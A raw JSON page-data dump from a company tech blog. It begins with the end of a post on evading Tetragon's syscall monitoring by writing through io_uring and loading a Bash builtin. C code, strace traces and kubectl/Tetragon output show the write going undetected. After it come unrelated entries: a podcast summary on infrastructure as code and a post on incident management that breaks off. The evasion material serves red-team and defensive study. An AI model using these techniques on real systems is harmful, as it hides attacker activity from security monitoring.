1, &vecs, 1, 0);\n\n\tio_uring_submit(&ring);\n\n\tio_uring_wait_cqe(&ring, &cqe);\n\n\tio_uring_cqe_seen(&ring, cqe);\n}",[],"code_block$48698ed5-ea04-4aa6-a5ef-46eb1e185bbb",{"variation":437,"version":438,"items":31739,"primary":31740,"id":31774,"slice_type":468,"slice_label":5},[],{"body":31741},[31742,31747,31751,31760,31766],{"type":25,"text":31743,"spans":31744},"In the program the io_uring_queue_init() function executes the io_uring_setup syscall to initialise the submission and completion queues in the kernel and then maps the resulting file descriptor to memory shared between the program and the kernel.",[31745,31746],{"start":6262,"end":10399,"type":765},{"start":629,"end":855,"type":765},{"type":25,"text":31748,"spans":31749},"The io_uring_get_sqe() function gets the next vacant event from the submission queue belonging to the ring param and returns a pointer to the submission queue event.",[31750],{"start":643,"end":7635,"type":765},{"type":25,"text":31752,"spans":31753},"Then the ring SQE is fetched and prepared for the IORING_OP_WRITEV operation which provides an asynchronous interface to write(2) system call using the liburing io_uring_prep_writev() helper function.",[31754,31755,31759],{"start":19436,"end":15360,"type":765},{"start":31756,"end":764,"type":489,"data":31757},152,{"link_type":491,"url":31758},"https:\u002F\u002Fgithub.com\u002Faxboe\u002Fliburing",{"start":9289,"end":4496,"type":765},{"type":25,"text":31761,"spans":31762},"The SQE is submitted with a call to io_uring_submit() that returns the number of submitted SQEs and our program waits for a completion by calling io_uring_wait_cqe(), finally the program calls io_uring_cqe_seen() to inform the kernel that the given CQE has been consumed.",[31763,31764,31765],{"start":3852,"end":9312,"type":765},{"start":10911,"end":4589,"type":765},{"start":24940,"end":19850,"type":765},{"type":25,"text":31767,"spans":31768},"Executing the uwrite program with strace allows us to verify that it is only calling the io_uring_setup(2), mmap(2) and io_uring_enter(2) system calls while still writing the message to standard output.",[31769,31770,31771,31772,31773],{"start":2987,"end":7460,"type":765},{"start":1131,"end":10399,"type":765},{"start":3290,"end":6835,"type":765},{"start":19534,"end":9222,"type":765},{"start":5702,"end":9205,"type":765},"rich_text$153bca78-536c-4461-b860-8ace9f0b7b15",{"variation":437,"version":438,"items":31776,"primary":31777,"id":31782,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31778},[31779],{"type":27922,"text":31780,"spans":31781},"$ strace .\u002Fuwrite\nexecve(\".\u002Fuwrite\", [\".\u002Fuwrite\"], 0x7ffde19a0850 \u002F* 24 vars *\u002F) = 0\narch_prctl(0x3001 \u002F* ARCH_??? *\u002F, 0x7ffe7d93b6a0) = -1 EINVAL (Invalid argument)\nbrk(NULL)                               = 0x1ede000\nbrk(0x1edf1c0)                          = 0x1edf1c0\narch_prctl(ARCH_SET_FS, 0x1ede880)      = 0\nuname({sysname=\"Linux\", nodename=\"lab\", ...}) = 0\nreadlink(\"\u002Fproc\u002Fself\u002Fexe\", \"\u002Fhome\u002Fubuntu\u002Fuwrite\", 4096) = 19\nbrk(0x1f001c0)                          = 0x1f001c0\nbrk(0x1f01000)                          = 0x1f01000\nmprotect(0x4be000, 12288, PROT_READ)    = 0\nio_uring_setup(8, {flags=0, sq_thread_cpu=0, sq_thread_idle=0, sq_entries=8, cq_entries=16, features=IORING_FEAT_SINGLE_MMAP|IORING_FEAT_NODROP|IORING_FEAT_SUBMIT_STABLE|IORING_FEAT_RW_CUR_POS|IORING_FEAT_CUR_PERSONALITY|0x7e0, sq_off={head=0, tail=64, ring_mask=256, ring_entries=264, flags=276, dropped=272, array=576}, cq_off={head=128, tail=192, ring_mask=260, ring_entries=268, overflow=284, cqes=320, resv=[0x118, 0]}}) = 3\nmmap(NULL, 608, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_POPULATE, 3, 0) = 0x7f961a244000\nmmap(NULL, 512, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_POPULATE, 3, 0x10000000) = 0x7f961a243000\nio_uring_enter(3, 1, 0, 0, NULL, 8Writing using io_uring!\n)     = 1\nexit_group(0)                           = ?\n+++ exited with 0 +++",[],"code_block$ccbea148-78ea-48d0-bf6e-1c4bedc363c2",{"variation":437,"version":438,"items":31784,"primary":31785,"id":31791,"slice_type":468,"slice_label":5},[],{"body":31786},[31787],{"type":25,"text":31788,"spans":31789},"Running the program in the demo pod confirms that the write operation was not detected.",[31790],{"start":3485,"end":690,"type":765},"rich_text$76d44506-c39e-4cb5-a67f-2710fc3e5976",{"variation":437,"version":438,"items":31793,"primary":31794,"id":31799,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31795},[31796],{"type":27922,"text":31797,"spans":31798},"$ kubectl exec -it demo -- uwrite\nWriting using io_uring!",[],"code_block$f233cfcc-d49c-4d70-8893-bcb7053521a5",{"variation":437,"version":438,"items":31801,"primary":31802,"id":31807,"slice_type":468,"slice_label":5},[],{"body":31803},[31804],{"type":25,"text":31805,"spans":31806},"From the output, as expected, Tetragon is unable to detect the write operation.",[],"rich_text$5db2f652-87dd-4b46-8894-9e00ca94e765",{"variation":437,"version":438,"items":31809,"primary":31810,"id":31815,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31811},[31812],{"type":27922,"text":31813,"spans":31814},"🚀 process default\u002Fdemo \u002Fusr\u002Fbin\u002Fuwrite                                   \n💥 exit    default\u002Fdemo \u002Fusr\u002Fbin\u002Fuwrite  0",[],"code_block$4b796f9e-b9f9-4333-b472-125a6f732584",{"variation":437,"version":438,"items":31817,"primary":31818,"id":31824,"slice_type":468,"slice_label":5},[],{"body":31819},[31820],{"type":25,"text":31821,"spans":31822},"In summary, io_uring is effectively a runtime for processing I\u002FO requests, that spawns threads, sets up work queues, and dispatches requests for processing. Using asynchronous I\u002FO increases complexity, making it harder for runtime security enforcement and observability tools to filter, block and react to events, requiring tools to keep track of the process, submitted requests and increasing the complexity of the rules.",[31823],{"start":2707,"end":7460,"type":765},"rich_text$f35e4f07-b433-4dda-98d1-fc5f93e0915b",{"variation":437,"version":438,"items":31826,"primary":31827,"id":31842,"slice_type":468,"slice_label":5},[],{"body":31828},[31829,31832,31835,31838],{"type":988,"text":31830,"spans":31831,"direction":445},"One more thing",[],{"type":25,"text":31833,"spans":31834,"direction":445},"After successfully bypassing the write operation detection there is still one more thing that we can try to bypass: the process calling the write operation. Since security tools also monitor process execution events, a new binary spanning a process even if not associated with system call activity is always prone to raise an alert.",[],{"type":25,"text":31836,"spans":31837,"direction":445},"To tamper with the process execution context, we will look at Bash builtin commands to execute the write operation directly, without invoking another program.",[],{"type":25,"text":31839,"spans":31840,"direction":445},"First, let's rewrite our baseline example so it can be loaded in Bash using the enable command.",[31841],{"start":3872,"end":5397,"type":765},"rich_text$0f9eee20-b63c-487e-9045-aab3ec5e4c8a",{"variation":437,"version":438,"items":31844,"primary":31845,"id":31850,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31846},[31847],{"type":27922,"text":31848,"spans":31849},"#include \"\u002Fusr\u002Finclude\u002Fbash\u002Fbuiltins.h\"\n\nint writeb_builtin_load ()\n{\n    write(1,\"Writing using writeb!\\n\",23); \n    return (1);\n}\n\nstruct builtin writeb_struct = {\n\t\"writeb\",\t\t\u002F* builtin name *\u002F\n\tNULL,\t\t\t\u002F* function implementing the builtin *\u002F\n\t0x1,\t\t\t\u002F* this builtin is enabled. *\u002F\n\tNULL,\t\t\t\u002F* array of long documentation strings. *\u002F\n\tNULL,\t\t\t\u002F* usage synopsis; becomes short_doc *\u002F\n\t0\t\t\t\u002F* reserved for internal use *\u002F\n};",[],"code_block$a82f9d29-2281-4168-9dee-cc8be9674636",{"variation":437,"version":438,"items":31852,"primary":31853,"id":31858,"slice_type":468,"slice_label":5},[],{"body":31854},[31855],{"type":25,"text":31856,"spans":31857},"Loading the shared library shows that Bash builtin commands can be used to run code in the Bash execution context.",[],"rich_text$a3f99058-b172-43b5-8b12-527b69262d25",{"variation":437,"version":438,"items":31860,"primary":31861,"id":31866,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31862},[31863],{"type":27922,"text":31864,"spans":31865},"$ bash -c 'enable -f .\u002Fwriteb.so writeb'\nWriting using writeb!",[],"code_block$0e574e02-f451-4a57-8aa9-1e5a5e1af959",{"variation":437,"version":438,"items":31868,"primary":31869,"id":31876,"slice_type":468,"slice_label":5},[],{"body":31870},[31871],{"type":25,"text":31872,"spans":31873},"From the strace output we can see that the write(2) system call is called by Bash itself.",[31874,31875],{"start":1355,"end":8472,"type":765},{"start":5136,"end":1250,"type":765},"rich_text$ed8e0acc-495e-44df-b82c-3e9191f5213e",{"variation":437,"version":438,"items":31878,"primary":31879,"id":31884,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31880},[31881],{"type":27922,"text":31882,"spans":31883},"$ strace bash -c 'enable -f .\u002Fwriteb.so writeb'\n[...snip...]\nwrite(1, \"Writing using writeb!\\n\\0\", 23Writing using writeb!\n) = 23\nrt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0\nrt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0\nexit_group(0)                           = ?\n+++ exited with 0 +++",[],"code_block$42ba24f6-40d8-40ca-897b-24d3cdc80532",{"variation":437,"version":438,"items":31886,"primary":31887,"id":31896,"slice_type":468,"slice_label":5},[],{"body":31888},[31889,31892],{"type":25,"text":31890,"spans":31891},"This technique allows us to decouple the write operation from the execution context of the process and adds another layer of complexity to the attack.",[],{"type":25,"text":31893,"spans":31894},"Running the program in the demo pod shows that the write operation executes normally.",[31895],{"start":3485,"end":690,"type":765},"rich_text$48a646fd-2699-409a-91de-c42d1357c6a2",{"variation":437,"version":438,"items":31898,"primary":31899,"id":31904,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31900},[31901],{"type":27922,"text":31902,"spans":31903},"$ kubectl exec -it demo -- bash -c 'enable -f .\u002Fwriteb writeb'\nWriting using writeb!",[],"code_block$97e7492d-4ffc-4bbb-9b45-8e6c8b7fe8f0",{"variation":437,"version":438,"items":31906,"primary":31907,"id":31912,"slice_type":468,"slice_label":5},[],{"body":31908},[31909],{"type":25,"text":31910,"spans":31911},"But on Tetragon's output, the write operation is now executed in the Bash execution context.",[],"rich_text$9e35774f-26ae-4184-b533-7d6cdd2f485b",{"variation":437,"version":438,"items":31914,"primary":31915,"id":31920,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31916},[31917],{"type":27922,"text":31918,"spans":31919},"🚀 process default\u002Fdemo \u002Fusr\u002Fbin\u002Fbash -c \"enable -f .\u002Fwriteb writeb\"   \n📝 write   default\u002Fdemo \u002Fusr\u002Fbin\u002Fbash  23 bytes                           \n💥 exit    default\u002Fdemo \u002Fusr\u002Fbin\u002Fbash -c \"enable -f .\u002Fwriteb writeb\" 0",[],"code_block$93ce3369-a427-4b1d-b14c-12929e250370",{"variation":437,"version":438,"items":31922,"primary":31923,"id":31929,"slice_type":468,"slice_label":5},[],{"body":31924},[31925],{"type":25,"text":31926,"spans":31927},"This technique we can build bypass using io_uring what will run in the Bash execution context.",[31928],{"start":1977,"end":2868,"type":765},"rich_text$5ee42c39-d336-42f8-a9cc-c6ded89f2909",{"variation":437,"version":438,"items":31931,"primary":31932,"id":31937,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31933},[31934],{"type":27922,"text":31935,"spans":31936},"#include \u003Cliburing.h>\n#include \"\u002Fusr\u002Finclude\u002Fbash\u002Fbuiltins.h\"\n\nint uwriteb_builtin_load ()\n{\n\tstruct iovec vecs;\n\tstruct io_uring ring;\n\tstruct io_uring_cqe *cqe;\n\tstruct io_uring_sqe *sqe;\n\n\tvecs.iov_base = \"Writing from bash using io_uring!\\n\";\n\tvecs.iov_len = 34;\n\n\tio_uring_queue_init(8, &ring, 0);\n\n\tsqe = io_uring_get_sqe(&ring);\n\n\tio_uring_prep_writev(sqe, 1, &vecs, 1, 0);\n\n\tio_uring_submit(&ring);\n\n\tio_uring_wait_cqe(&ring, &cqe);\n\n\tio_uring_cqe_seen(&ring, cqe);\n\n    return (1);\n}\n\nstruct builtin uwriteb_struct = {\n\t\"uwriteb\",\t\t\u002F* builtin name *\u002F\n\tNULL,\t\t\t\u002F* function implementing the builtin *\u002F\n\t0x1,\t\t\t\u002F* this builtin is enabled. *\u002F\n\tNULL,\t\t\t\u002F* array of long documentation strings. *\u002F\n\tNULL,\t\t\t\u002F* usage synopsis; becomes short_doc *\u002F\n\t0\t\t\t\u002F* reserved for internal use *\u002F\n};",[],"code_block$359d95dd-7931-49c7-b401-1a970c7b9d0a",{"variation":437,"version":438,"items":31939,"primary":31940,"id":31945,"slice_type":468,"slice_label":5},[],{"body":31941},[31942],{"type":25,"text":31893,"spans":31943},[31944],{"start":3485,"end":690,"type":765},"rich_text$9a76e19c-ad73-445f-86eb-d697b5e9d87f",{"variation":437,"version":438,"items":31947,"primary":31948,"id":31953,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31949},[31950],{"type":27922,"text":31951,"spans":31952},"$ kubectl exec -it demo -- bash -c 'enable -f .\u002Fuwriteb uwriteb'\nWriting from bash using io_uring!",[],"code_block$96217815-d503-4b54-88f3-6a2d37cebd91",{"variation":437,"version":438,"items":31955,"primary":31956,"id":31961,"slice_type":468,"slice_label":5},[],{"body":31957},[31958],{"type":25,"text":31959,"spans":31960},"On Tetragon's output, the write operation is not detected and it is executed in the Bash execution context.",[],"rich_text$682b411c-4076-42d5-88cc-6af075fe8ed1",{"variation":437,"version":438,"items":31963,"primary":31964,"id":31969,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31965},[31966],{"type":27922,"text":31967,"spans":31968},"$ kubectl logs -n kube-system ds\u002Ftetragon -c export-stdout -f | tetragon observe --namespace default --pod demo\n🚀 process default\u002Fdemo \u002Fusr\u002Fbin\u002Fbash -c \"enable -f .\u002Fuwriteb uwriteb\"     \n💥 exit    default\u002Fdemo \u002Fusr\u002Fbin\u002Fbash -c \"enable -f .\u002Fuwriteb uwriteb\" 0",[],"code_block$f9274945-6225-4dc7-b00e-29e1662918ff",{"variation":437,"version":438,"items":31971,"primary":31972,"id":32010,"slice_type":468,"slice_label":5},[],{"body":31973},[31974,31976,31979,31983,31987,31993,31998,32004],{"type":988,"text":4445,"spans":31975,"direction":445},[],{"type":25,"text":31977,"spans":31978,"direction":445},"This blog post introduced some of the limitations and challenges faced by the defensive teams and basic techniques used regularly by red teams and adversaries. The techniques and limitations described in this blog post are not exclusive to Tetragon, affecting other monitoring solutions that use similar system call detection rules. Although by no means exhaustive, I hope that the techniques presented will inspire both teams to improve and keep the cat-and-mouse engaging for some time.",[],{"type":25,"text":31980,"spans":31981,"direction":445},"Further reading",[31982],{"start":398,"end":8472,"type":593},{"type":1151,"text":31216,"spans":31984,"direction":445},[31985],{"start":398,"end":1633,"type":489,"data":31986},{"link_type":491,"url":31200,"target":493},{"type":1151,"text":31988,"spans":31989,"direction":445},"eBPF",[31990],{"start":398,"end":4603,"type":489,"data":31991},{"link_type":491,"url":31992,"target":493},"https:\u002F\u002Febpf.io\u002F",{"type":1151,"text":31994,"spans":31995,"direction":445},"liburing",[31996],{"start":398,"end":1633,"type":489,"data":31997},{"link_type":491,"url":31758,"target":493},{"type":1151,"text":31999,"spans":32000,"direction":445},"Lord of the io_uring",[32001],{"start":398,"end":7460,"type":489,"data":32002},{"link_type":491,"url":32003,"target":493},"https:\u002F\u002Funixism.net\u002Floti\u002F",{"type":1151,"text":32005,"spans":32006,"direction":445},"GTFOBins",[32007],{"start":398,"end":1633,"type":489,"data":32008},{"link_type":491,"url":32009,"target":493},"https:\u002F\u002Fgtfobins.github.io\u002Fgtfobins\u002Fbash\u002F#library-load","rich_text$5352e926-2883-4d18-af02-2bf33dd667d4",{"id":32012,"uid":32013,"type":25949,"data":32014},"alz1KhEAACkAUWg3","infrastructure-as-code-to-control-access-to-everything",{"title":32015,"excerpt":32016,"card_image":32017,"published_date":32022,"reading_time":1130,"tag":25960,"dek":32016,"featured_image":32023,"about_form3":32029,"client_about_heading":5,"client_about_body":32030,"author_name":18970,"author_title":18971,"author_photo":32031,"author_bio":32034,"author_linkedin":32037,"slices":32039,"meta_title":32015,"meta_description":32160},".tech Podcast - Infrastructure as code to control access to everything","Everyone is frustrated of traditional IT processes of using a ticketing system such as Jira to request access to systems. They are cumbersome and it's hard to verify that the person made the change exactly as requested in the ticket. Travis talks us through how at Teleport they have solved this problem by leveraging infrastructure as code to manage access to all internal systems. He talks us through how you can go about migrating to infrastructure as code and what are some of the gotchas you need to watch out for.",{"dimensions":32018,"alt":32015,"copyright":5,"url":32019,"id":32020,"edit":32021},{"width":412,"height":412},"\u002F_prismic-media\u002F7ce17089643145a8-WmaPJ021cvOgPuZa_infrastructure-as-code-to-contr.png","WmaPJ021cvOgPuZa",{"x":398,"y":398,"zoom":399,"background":400},"2022-04-11",{"dimensions":32024,"alt":5,"copyright":5,"url":32026,"id":32027,"edit":32028},{"width":501,"height":32025},628,"\u002F_prismic-media\u002F6a1cb10271e906c6-VkcnUdX95ZVc7dVm_2b28a8b2-3919-44e1-89f5-1160f12.png","VkcnUdX95ZVc7dVm",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":32032,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":32033},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[32035],{"type":25,"text":25971,"spans":32036},[],{"link_type":491,"key":32038,"url":25975,"target":493},"19739c11-0846-4446-a379-5e9bb4ee5816",[32040,32060,32083,32108,32131],{"variation":437,"version":527,"items":32041,"primary":32042,"id":32059,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":32043,"body":32047,"cta_label":10704,"cta_link":32050,"aside_type":5,"aside_image":32053,"aside_video":32054,"aside_video_poster":32055,"aside_video_reduced_motion":32056,"aside_video_url":5,"aside_embed":32057,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":32058,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[32044],{"type":746,"text":32045,"spans":32046},"Ep 29 .tech - Infrastructure as code to control access to everything",[],[32048],{"type":25,"text":10702,"spans":32049},[],{"link_type":491,"key":32051,"url":32052},"0f90fc7b-8db1-423f-bb41-aeb23a1712b8","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-29-tech-infrastructure-as-code-to-control-access-to-everything-AvKbjQP_",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$9cd62e99-4c01-431b-b416-d15bedaec891",{"variation":437,"version":438,"items":32061,"primary":32062,"id":32082,"slice_type":468,"slice_label":5},[],{"body":32063},[32064,32076],{"type":25,"text":32065,"spans":32066},"Travis Gary is running the IT department at Teleport. The access management tools that Teleport provide have been really important for companies going remote, who now have to embrace zero trust and change how they are doing their security.",[32067,32070,32073],{"start":398,"end":602,"type":489,"data":32068},{"link_type":491,"url":32069,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Ftravis-g-92314a45\u002F",{"start":2674,"end":1251,"type":489,"data":32071},{"link_type":491,"url":32072},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fgo-teleport\u002F",{"start":4496,"end":19847,"type":489,"data":32074},{"link_type":491,"url":32075,"target":493},"https:\u002F\u002Fgoteleport.com\u002Fwhat-is-zero-trust\u002F",{"type":25,"text":32077,"spans":32078},"Travis recently spoke at Conf42. His talk \"Using Infra-as-code, not Jira tickets to pass audits\" is all about moving off Jira ticket driven workflows to infrastructure as code. He will share more of his thoughts on this important topic with us in this episode",[32079],{"start":1486,"end":5328,"type":489,"data":32080},{"link_type":491,"url":32081,"target":493},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=8XEzepW_Jtk","rich_text$240eb19e-5e6f-4fcb-96af-ae985257e153",{"variation":437,"version":438,"items":32084,"primary":32085,"id":32107,"slice_type":468,"slice_label":5},[],{"body":32086},[32087,32090,32094,32097,32103],{"type":746,"text":32088,"spans":32089},"Introduction to infrastructure as code (IaC)",[],{"type":25,"text":32091,"spans":32092},"As a system administrator, begin with thinking about your current workflows. You might receive a ticket, go log into environment that needs changing and then action that change manually in the console. This is sometimes known as ClickOps.",[32093],{"start":3775,"end":13077,"type":765},{"type":25,"text":32095,"spans":32096},"This process doesn't scale for a large amount of changes or large systems, as you might see in fast growing organisations. Furthermore, making manual changes through the console is neither secure, nor repeatable. Changes are not reviewed, so there are no guarantees they are made correctly or that they won't break anything.",[],{"type":25,"text":32098,"spans":32099},"Infrastructure as code (IaC) allows you to describe processes, including errors and rollbacks, into code. It is not generally a programming language, but a simple language that allows you to describe your resources. Under the hood, it calls to backend APIs and endpoints to create and manage these resources.",[32100],{"start":398,"end":9704,"type":489,"data":32101},{"link_type":491,"url":32102,"target":493},"https:\u002F\u002Fgoteleport.com\u002Fblog\u002Fdevops-access-controls\u002F",{"type":25,"text":32104,"spans":32105},"It is important to remember that IaC is stateful. It brings resources back to the their described configuration and state, regardless of what has previously been done to them manually or otherwise. IaC is very well suited to IT processes - what's defined in the code is what will exist. This is really easy to review and audit, breaking the disconnect between what a ticket prescribes and reality.",[32106],{"start":10399,"end":5490,"type":593},"rich_text$56307f7c-10be-4195-9b03-b92148bd9790",{"variation":437,"version":438,"items":32109,"primary":32110,"id":32130,"slice_type":468,"slice_label":5},[],{"body":32111},[32112,32115,32118,32127],{"type":746,"text":32113,"spans":32114},"Infrastructure as code pipelines",[],{"type":25,"text":32116,"spans":32117},"In the IaC world, changes are made using pull requests and branches. This opens up the opportunity for automated testing of our changes, easing up the need for manual QA verification. All changes can then be reviewed by the necessary experts, but anyone can propose a change and submit it for review. The ability to propose changes without any gatekeeping is great for the developer agility of distributed teams.",[],{"type":25,"text":32119,"spans":32120},"Terraform is an example of an infrastructure as code tool. It allows a remote service to apply your changes. It can also generate a plan on an opened pull request, so you can see the changes that will be made, before they take place. This is another powerful mechanism for verification of current state vs proposed state.",[32121,32124],{"start":398,"end":1355,"type":489,"data":32122},{"link_type":491,"url":32123,"target":493},"https:\u002F\u002Fwww.terraform.io\u002Fintro",{"start":9192,"end":29243,"type":489,"data":32125},{"link_type":491,"url":32126,"target":493},"https:\u002F\u002Fwww.terraform.io\u002Flanguage\u002Fstate\u002Fpurpose",{"type":25,"text":32128,"spans":32129},"Keeping your infrastructure definitions in code also allows you to check when and who made changes, as well giving you the possibility to search through changes. This makes it easier to work asynchronously, accross locations and timezones.",[],"rich_text$e2f1cf27-d1d2-42f6-ad35-4509aaed3d95",{"variation":437,"version":438,"items":32132,"primary":32133,"id":32159,"slice_type":468,"slice_label":5},[],{"body":32134},[32135,32138,32141,32144,32147,32150,32153],{"type":746,"text":32136,"spans":32137},"Migrating to infrastructure as code",[],{"type":25,"text":32139,"spans":32140},"The migration process requires a cultural shift - you have to have full buy-in from your developers and consider the developer experience. A lot of the benefits of IaC migrations come at the tailend of the process so you really need support from your developers to go on the journey.",[],{"type":25,"text":32142,"spans":32143},"Making one change will often times be faster using ClickOps, but audits and security are much better in IaC. Initially, there might be a friction, but the gains will come as we shift left, making the process closer to the development cycle. The platform stability will improve with tighter control, making for quieter oncall rotas as well.",[],{"type":25,"text":32145,"spans":32146},"Comparatively to the cultural change, the technical changes are quite simple. Terraform is a declarative language that is relatively easy for engineers to pick up. From a security perspective, the burden moves from one space to another. Terraform still needs access to powerful credentials to be able to make changes to infrastructure.",[],{"type":25,"text":32148,"spans":32149},"At Teleport, the engineers have a \"hack yourself\" mentality so they have had engineers trying to play capture the flag games against infrastructure as code repositories. As you migrate to IaC, you need to consider that you are shifting security concerns from humans to the pipeline.",[],{"type":25,"text":32151,"spans":32152},"Generally, the aim of IaC is to remove all admin users from the system. This can make recovery when something goes wrong really difficult - the \"break glass procedure\" becomes difficult. One way Teleport has handled this is with an alerting pattern and admin roles. When something goes wrong, an incident is created and a limited amount of users can instantly take on the admin role to fix the platform.",[],{"type":25,"text":32154,"spans":32155},"Teleport run their own podcast titled \"Access control podcast\". It has some great episodes about IaC and security, so make sure to give it a listen if you liked this episode.",[32156],{"start":11705,"end":1029,"type":489,"data":32157},{"link_type":491,"url":32158,"target":493},"https:\u002F\u002Fgoteleport.com\u002Fresources\u002Fpodcast\u002F","rich_text$6e8e2d0a-09be-4ad4-a0aa-c02aec0d086d","Travis tells us how we can overcome the frustration of traditional IT processes of using a ticketing system such as Jira to request access to systems. Listen to find out more.",{"id":32162,"uid":32163,"type":25949,"data":32164},"alz0rxEAACoAUWZM","incident-mngmnt-devops",{"title":32165,"excerpt":32166,"card_image":32167,"published_date":23082,"reading_time":4603,"tag":25960,"dek":32166,"featured_image":32172,"about_form3":32177,"client_about_heading":5,"client_about_body":32178,"author_name":30308,"author_title":30309,"author_photo":32179,"author_bio":32182,"author_linkedin":32189,"slices":32191,"meta_title":32165,"meta_description":32166},"Incident Management in a DevOps Environment","In this post, David discusses how Incident Management and the DevOps engineering culture. He shares how DevOps structures benefit the Incident Management process and the DevOps environments benefit the whole of the Service Delivery process.",{"dimensions":32168,"alt":32165,"copyright":5,"url":32169,"id":32170,"edit":32171},{"width":412,"height":412},"\u002F_prismic-media\u002F3dd32ce30c8cc1bf-Wmtls8gpz9Z6RKr2_incident-mngmnt-devops.png","Wmtls8gpz9Z6RKr2",{"x":398,"y":398,"zoom":399,"background":400},{"dimensions":32173,"alt":5,"copyright":5,"url":32174,"id":32175,"edit":32176},{"width":501,"height":646},"\u002F_prismic-media\u002Fdead2b96a7f6b413-UoMnmSffnNNlwGYq_5f129ce2-c36d-4a59-8dd7-30de4ee.jpg","UoMnmSffnNNlwGYq",{"x":398,"y":398,"zoom":399,"background":650},[],[],{"dimensions":32180,"alt":30308,"copyright":5,"url":30312,"id":30313,"edit":32181},{"width":5080,"height":26955},{"x":398,"y":398,"zoom":399,"background":650},[32183,32185],{"type":25,"text":30317,"spans":32184},[],{"type":25,"text":30320,"spans":32186},[32187],{"start":7635,"end":3041,"type":489,"data":32188},{"link_type":491,"url":30324},{"link_type":491,"key":32190,"url":30324,"target":493},"3c4e499c-dece-48cb-a040-b97e06cffbd0",[32192,32210,32235,32252,32269],{"variation":437,"version":438,"items":32193,"primary":32194,"id":32209,"slice_type":468,"slice_label":5},[],{"body":32195},[32196,32199,32202],{"type":746,"text":32197,"spans":32198},"Incident Management refresher",[],{"type":25,"text":32200,"spans":32201},"Incident Management in its shortest form is the team responsible for managing the formal response of the company when something goes wrong. When something is impacting our customers or we suspect it could, the Incident Management team hold the responsibility for ensuring our processes are followed and we respond in the best possible way.",[],{"type":25,"text":32203,"spans":32204},"If you're not familiar with the basics of Incident Management, make sure to check out David's previous blogpost \"What is the life of an Incident Manager?\". It includes a quick introduction into the day-to-day life and responsibilities of Incident Managers.",[32205],{"start":12805,"end":4522,"type":489,"data":32206},{"id":32207,"type":15847,"tags":32208,"lang":5,"slug":15849,"first_publication_date":5,"last_publication_date":5,"link_type":542,"isBroken":15850},"ZCwLNxEAACoAkrym",[],"rich_text$902174f3-7476-42a0-9fd4-cca0206aaa3b",{"variation":437,"version":438,"items":32211,"primary":32212,"id":32234,"slice_type":468,"slice_label":5},[],{"body":32213},[32214,32217,32220,32228,32231],{"type":746,"text":32215,"spans":32216},"Processes",[],{"type":25,"text":32218,"spans":32219},"In a more traditional model outside of the DevOps world, many teams can be siloed. In no way blocked from talking, but there's just rarely a need to beyond a short handover of information. It can be a very effective method for ensuring responsibilities are very clear and roles set firm. It can have a disadvantage however of a lack of collaborative knowledge sharing.",[],{"type":25,"text":32221,"spans":32222},"In the DevOps world, the developers are much more involved in the live operational elements of the delivery of our services. Often the developers of the tool are the ones on-call at 3am when that tool needs support. It's not handed off to an operations team. This focus on keeping a close connection between Development and Operations leads to a much higher level of knowledge and expertise within the development teams of the incident process. A much higher investment in the day-to-day business of the company. At Form3, we use have a SecDevOps engineering culture, which is a variation of DevOps that integrates security into the development process.",[32223],{"start":32224,"end":32225,"type":489,"data":32226},537,546,{"link_type":491,"url":32227,"target":493},"https:\u002F\u002Fwww.aquasec.com\u002Fcloud-native-academy\u002Fdevsecops\u002Fsecdevops\u002F",{"type":25,"text":32229,"spans":32230},"DevOps' nature depends on innovative approaches to handling issues. DevOps is a culture that values openness, visibility, and quick learning. A culture of open, blameless communication between Development and Operations teams.",[],{"type":25,"text":32232,"spans":32233},"This can be difficult for those who have come from an more segmented framework background. Firm processes and procedures mixed with tasks and checklists. I know it was an adjustment for me when I first saw it! The basic purpose of DevOps is to give commercial value to a company by promoting open communication between operations teams and development teams. Dismantling old organisational barriers and enhancing transparency.",[],"rich_text$2f138662-608a-453d-ba3f-5b3f509db060",{"variation":437,"version":438,"items":32236,"primary":32237,"id":32251,"slice_type":468,"slice_label":5},[],{"body":32238},[32239,32242,32245,32248],{"type":746,"text":32240,"spans":32241},"DevOps & Incident Management",[],{"type":25,"text":32243,"spans":32244},"Now we get into the meat of this post! Where making formal changes in incident response processing can be a lengthy endeavour. DevOps incident management processes are reflective of the development methodology and ever changing to adapt to the business need.",[],{"type":25,"text":32246,"spans":32247},"DevOps is about a continuous and iterative approach, where speed and efficiency are at its core. This same approach should be felt in Incident Management processes. Effective and efficient use of Automation should not just be used in the Development process, not just in detection but throughout the Incident Management process. One of the most common delays in Incident resolution is the bringing in of the required expertise needed. Working with the Development team on structure and on-call automation can resolve this delay in an instant.",[],{"type":25,"text":32249,"spans":32250},"To run effective Incident Management practices within a DevOps environment relies on the effective use of tooling, communication and positioning of resources. The biggest one of those truly being that communication. Incident Management are far more involved in not just the changes being made at every moment of every day within Development but within the other Operations teams also.",[],"rich_text$a43bb25b-8d89-4f13-8943-ccb297021a0b",{"variation":437,"version":438,"items":32253,"primary":32254,"id":32268,"slice_type":468,"slice_label":5},[],{"body":32255},[32256,32259,32262,32265],{"type":746,"text":32257,"spans":32258},"DevOps problem 